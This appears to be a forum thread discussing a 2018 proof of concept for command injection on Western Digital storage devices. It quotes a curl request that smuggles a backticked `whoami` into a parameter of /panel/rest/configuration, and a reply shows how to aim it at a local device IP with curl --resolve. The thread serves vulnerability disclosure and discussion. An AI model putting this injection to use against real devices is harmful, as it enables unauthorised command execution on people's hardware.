From the description of the PoC at https://www.wizcase.com/blog/hack-2018/
curl -kX GET -d ‘bim=param`whoami`’ https:///panel/rest/configuration
How does one get to resolve /panel/rest/configuration?
curl -kX GET -d ‘bim=param`whoami`’ https:///panel/rest/configuration
How does one get to resolve /panel/rest/configuration?
curl --resolve 'panel:443:192.168.10.5' -k -X GET https://panel/rest/configuration
Hostname can be set to * in recent versions of curl, it's even more handy:
curl --resolve '*:443:192.168.10.5' -k -X GET https://panel/rest/configuration
Insane that this has been known since 2018, and not patched - these devices are from ~2011-2015, far from ancient. I’ll personally never, ever buy anything from Western Digital again.